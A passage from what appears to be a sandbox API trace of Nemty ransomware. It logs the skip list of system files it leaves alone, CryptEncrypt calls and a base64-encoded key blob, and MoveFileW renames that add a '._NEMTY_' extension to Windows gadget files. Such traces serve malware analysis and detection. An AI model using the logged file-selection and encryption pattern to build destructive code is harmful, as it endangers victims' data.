lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.776] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340370, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0126.788] CloseHandle (hObject=0xffffffff) returned 0 [0126.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404e0 [0126.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0126.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0126.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0126.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0126.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0126.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0126.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\localizedStrings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\localizedstrings.js"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\localizedStrings.js._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\localizedstrings.js._nemty_kgobjgd_")) returned 0 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340370 | out: hHeap=0x4f90000) returned 1 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402b8 | out: hHeap=0x4f90000) returned 1 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.788] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2=".") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="..") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="...") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="windows") returned -1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="$RECYCLE.BIN") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="rsa") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="NTDETECT.COM") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="ntldr") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="MSDOS.SYS") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="IO.SYS") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="boot.ini") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="boot.ini") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="AUTOEXEC.BAT") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="ntuser.dat") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="desktop.ini") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="CONFIG.SYS") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="RECYCLER") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="BOOTSECT.BAK") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="bootmgr") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="programdata") returned 1 [0126.789] lstrcmpiW (lpString1="service.js", lpString2="appdata") returned 1 [0126.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="service.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="service.js", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="service.js", lpUsedDefaultChar=0x0) returned 10 [0126.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="service.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="service.js", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="service.js", lpUsedDefaultChar=0x0) returned 10 [0126.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="service.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="service.js", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="service.js", lpUsedDefaultChar=0x0) returned 10 [0126.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="service.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0126.789] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="service.js", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="service.js", lpUsedDefaultChar=0x0) returned 10 [0126.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0126.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0126.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0126.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0126.790] Sleep (dwMilliseconds=0x5) [0126.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xff38ecb0, dwHighDateTime=0x1d561e7)) [0126.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0xff38ecb0, dwHighDateTime=0x1d561e7)) [0126.795] GetLastError () returned 0x5 [0126.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0126.795] GetLastError () returned 0x5 [0126.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0126.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0126.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.795] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0126.795] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0126.795] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0126.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0126.795] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e5dc | out: pszString="UoJw2J3A5p3chpHGoMkD4KEH389C54/QrN9y/P56LLif63P0HUvXdM2hKWX2JmK4\r\nx5K52k0rq2xVqLqhHysRampV4xQ0HYMpNjJBPoJE1bq9ZhJm/34UOMLgLb0OJZWR\r\n2smi5GQIQcaxr5Z6Ljol8ctetmKJ/h8YZfu0HR4AfZAPFYY8sFU4bVHpgBpPsJLW\r\nkG1hc7poA24txgtIO7vrvYshjTIVk3BKnSMAjEhN1v4p8k/XTz8oBri5l78h/GPH\r\nUdTMqrLzR554sC7FaMOKIWCiBeDqY4mJl/DlNJgL0O7FbiL/Jqqe6W83X563N3gb\r\n7u5feJNXXy/rvPmY9+0Ucw==\r\n", pcchString=0x653e5dc) returned 1 [0126.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0126.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0126.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0126.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0126.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0126.795] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\service.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\service.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0126.795] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0126.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0126.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.805] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.814] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.814] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.814] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.890] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.896] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.896] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.896] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0126.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0126.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0126.902] CloseHandle (hObject=0xffffffff) returned 0 [0126.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0126.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0126.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0126.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0126.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0126.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404c0 [0126.902] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0126.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | 